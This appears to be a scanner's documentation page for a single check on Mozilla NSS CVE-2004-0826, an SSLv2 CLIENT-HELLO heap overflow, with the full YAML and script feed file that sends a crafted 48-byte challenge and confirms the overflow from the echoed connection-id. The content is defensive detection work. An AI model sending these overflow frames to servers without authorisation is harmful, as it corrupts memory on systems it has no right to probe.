Mozilla NSS — 1 vulnerability check
noctis ships 1 vulnerability check for Mozilla NSS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Mozilla NSS SSLv2 CLIENT-HELLO challenge heap overflow
| CVE | CVE-2004-0826 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | https, https-alt, ssl, imaps, pop3s, smtps, ftps, ldapssl, nntps |
| Detection | script, tcp_open, tcp_send, tcp_close, match · highest QoD 97 |
| Feed | tests/vulnerabilities/mozilla-nss/CVE-2004-0826.yaml |
Sends an SSLv2 CLIENT-HELLO whose challenge is 48 bytes long (the protocol maximum is 32) and ending with a random 16-byte marker, after a regular CLIENT-HELLO has shown that the port speaks SSLv2. A vulnerable Network Security Services (NSS) library copies the whole challenge into a 32-byte buffer, and the overflow lands in the connection-id the server returns in its SERVER-HELLO: the finding is raised only when that connection-id equals the marker, which proves the heap overflow that lets a remote attacker execute code. The overflow is limited to the 16 bytes the server echoes back.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Opens a persistent TCP/TLS socket
- Sends a binary frame on the open socket
- Parses / computes the next value with a Rhai script
- Opens a persistent TCP/TLS socket
- Sends a binary frame on the open socket
- Parses / computes the next value with a Rhai script
- Checks
res.cidfor^[0-9a-f]{32}$→ finding QoD 97: Mozilla NSS SSLv2 CLIENT-HELLO challenge heap overflow (CVE-2004-0826)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2004-0826
- http://marc.info/?l=bugtraq&m=109351293827731&w=2
- http://www.securityfocus.com/bid/11015
- http://xforce.iss.net/xforce/alerts/id/180
Feed source — tests/vulnerabilities/mozilla-nss/CVE-2004-0826.yaml
# Mozilla / Netscape NSS SSLv2 CLIENT-HELLO challenge heap overflow (CVE-2004-0826).
#
# NSS before 3.9.2 (Netscape Enterprise Server, Sun ONE / Java System Web,
# Directory and Messaging servers) copies the CLIENT-HELLO challenge into
# sslConnectInfo.clientChallenge[32] without checking its length
# (lib/ssl/sslcon.c, ssl2_HandleClientHelloMessage:
# PORT_Memcpy(ss->sec.ci.clientChallenge, challenge, challengeLen);).
# In that struct the 16-byte connectionID follows clientChallenge directly
# (lib/ssl/sslimpl.h), and the server sends connectionID back in its
# SERVER-HELLO. NSS 3.9.2 added `challengeLen > SSL_MAX_CHALLENGE_BYTES` →
# bad_client (connection dropped).
#
# Detection (real, observed overflow — QoD 97):
# 1. a regular SSLv2 CLIENT-HELLO (16-byte challenge) must get a SERVER-HELLO:
# the port speaks SSLv2, otherwise nothing more is sent;
# 2. on a new connection, a CLIENT-HELLO whose challenge is 48 bytes: 32 bytes
# of filler then a random 16-byte marker;
# 3. the SERVER-HELLO is parsed field by field; its connection-id equal to the
# marker proves the server wrote the challenge past the end of its 32-byte
# buffer. A fixed NSS closes the connection; any other SSLv2 stack either
# rejects the challenge or sends its own random connection-id.
#
# Improvements over the NASL:
# - the overflow is exactly 16 bytes, the size of connectionID, so nothing
# beyond the field the server echoes is overwritten (the NASL's 56-byte
# challenge also clobbers 8 bytes of serverChallenge);
# - the marker is random per scan and must be the SERVER-HELLO's
# connection-id field (parsed from the cid length/offset), not "VULN"
# anywhere in the first 2 KB;
# - all seven SSLv2 cipher kinds are offered (the NASL offers 3DES only),
# and the check runs on any SSL service, not just a Netscape/Sun-ONE web
# banner.
#
# CVSS: NVD publishes only a v2 score (7.5) for this CVE.
#
# Ported from OpenVAS/Greenbone NVT pre2008/sslv2_hello_overflow.nasl
# (OID 1.3.6.1.4.1.25623.1.0.14361, GPL-2.0-only): the two-connection
# CLIENT-HELLO flow and the leak-back proof come from that plugin.
uid: c6e74846-d219-4391-8497-addf81ce3c8e
name: "Mozilla NSS SSLv2 CLIENT-HELLO challenge heap overflow (CVE-2004-0826)"
description: |
Sends an SSLv2 CLIENT-HELLO whose challenge is 48 bytes long (the protocol
maximum is 32) and ending with a random 16-byte marker, after a regular
CLIENT-HELLO has shown that the port speaks SSLv2. A vulnerable Network
Security Services (NSS) library copies the whole challenge into a 32-byte
buffer, and the overflow lands in the connection-id the server returns in its
SERVER-HELLO: the finding is raised only when that connection-id equals the
marker, which proves the heap overflow that lets a remote attacker execute
code. The overflow is limited to the 16 bytes the server echoes back.
category: rce
cves: [CVE-2004-0826]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [mozilla-nss, nss, netscape, sun-one, sslv2, ssl, buffer-overflow, heap-overflow, intrusive]
services: [https, https-alt, ssl, imaps, pop3s, smtps, ftps, ldapssl, nntps]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2004-0826"
- "http://marc.info/?l=bugtraq&m=109351293827731&w=2"
- "http://www.securityfocus.com/bid/11015"
- "http://xforce.iss.net/xforce/alerts/id/180"
# OpenVAS/Greenbone NASL pre2008/sslv2_hello_overflow.nasl (GPL-2.0-only)
steps:
# SSLv2 CLIENT-HELLO frames (2-byte record header 0x80|len):
# 01 | version 0002 | cipher-specs len 0015 | session-id len 0000 |
# challenge len | 7 cipher kinds (21 bytes) | challenge
- id: frames
action: script
store_as: v2
code: |
let ciphers = "0700c0050080030080010080060040040080020080";
let marker = rand_hex(16);
let filler = hexstr(crap(32, "NOCTIS-NSS-"));
#{
marker: marker,
hello: "802e" + "010002001500000010" + ciphers + rand_hex(16),
overflow: "804e" + "010002001500000030" + ciphers + substr(filler, 0, 63) + marker
}
# 1 — regular CLIENT-HELLO: only an SSLv2 server answers it with a SERVER-HELLO.
- id: open-base
action: tcp_open
handle: base
port: "{{port}}"
tls: false
timeout_secs: 10
store_as: base_conn
- id: hello
action: tcp_send
handle: base
condition: "base_conn.connected == true"
send_hex: "{{v2.hello}}"
timeout_secs: 8
store_as: base_reply
- id: close-base
action: tcp_close
handle: base
# Parse a SERVER-HELLO: 2- or 3-byte record header, then
# 04 | hit | cert type | version(2) | cert len(2) | cs len(2) | cid len(2) |
# cert | cipher specs | connection-id
- id: parse-base
action: script
condition: "base_reply.responded == true"
store_as: base
code: |
let hex = if type_of(base_reply.response_hex) == "string" { tolower(base_reply.response_hex) } else { "" };
let ok = false;
if strlen(hex) >= 26 {
let b0 = u8(substr(hex, 0, 1));
let m = if (b0 & 128) != 0 { 4 } else { 6 };
if strlen(hex) >= m + 22 && substr(hex, m, m + 1) == "04" {
let cert = u16be(substr(hex, m + 10, m + 13));
let cs = u16be(substr(hex, m + 14, m + 17));
let cid = u16be(substr(hex, m + 18, m + 21));
ok = cid >= 16 && strlen(hex) >= m + 22 + (cert + cs + cid) * 2;
}
}
#{ sslv2: ok }
# 2 — oversized challenge on a fresh connection, only against an SSLv2 server.
- id: open-overflow
action: tcp_open
handle: ovf
condition: "base.sslv2 == true"
port: "{{port}}"
tls: false
timeout_secs: 10
store_as: ovf_conn
- id: overflow-hello
action: tcp_send
handle: ovf
condition: "base.sslv2 == true && ovf_conn.connected == true"
send_hex: "{{v2.overflow}}"
timeout_secs: 8
store_as: ovf_reply
- id: close-overflow
action: tcp_close
handle: ovf
# 3 — the SERVER-HELLO's connection-id must be the marker (challenge bytes 32..47).
- id: parse-overflow
action: script
condition: "base.sslv2 == true && ovf_reply.responded == true"
store_as: res
code: |
let hex = if type_of(ovf_reply.response_hex) == "string" { tolower(ovf_reply.response_hex) } else { "" };
let cid_hex = "";
if strlen(hex) >= 26 {
let b0 = u8(substr(hex, 0, 1));
let m = if (b0 & 128) != 0 { 4 } else { 6 };
if strlen(hex) >= m + 22 && substr(hex, m, m + 1) == "04" {
let cert = u16be(substr(hex, m + 10, m + 13));
let cs = u16be(substr(hex, m + 14, m + 17));
let cid = u16be(substr(hex, m + 18, m + 21));
let start = m + 22 + (cert + cs) * 2;
if cid >= 16 && strlen(hex) >= start + cid * 2 {
cid_hex = substr(hex, start, start + 31);
}
}
}
#{ overflow: cid_hex != "" && cid_hex == v2.marker, cid: cid_hex }
- id: confirm-overflow
action: match
condition: "res.overflow == true"
source: res.cid
pattern: "^[0-9a-f]{32}$"
on_match:
finding:
title: "Mozilla NSS SSLv2 CLIENT-HELLO challenge heap overflow (CVE-2004-0826)"
description: "The server accepted an SSLv2 CLIENT-HELLO with a 48-byte challenge and returned the last 16 bytes of it as the connection-id of its SERVER-HELLO: the challenge was copied past the end of NSS's 32-byte buffer. This heap overflow lets a remote, unauthenticated attacker execute code in the server process."
remediation: "Upgrade NSS to 3.9.2 or later (Sun ONE / Java System Web Server 6.1 SP3, Netscape Enterprise Server and other NSS-based products: apply the vendor patch), or disable SSLv2 on the server."
confidence_delta: 0.65 # 0.30 + 0.65 = 0.95
qod: 97
evidence: "SSLv2 CLIENT-HELLO with a 48-byte challenge ending in marker {{v2.marker}}: the SERVER-HELLO connection-id was {{res.cid}} (the marker — challenge bytes 32..47 overwrote the server's connection-id)"
stop: true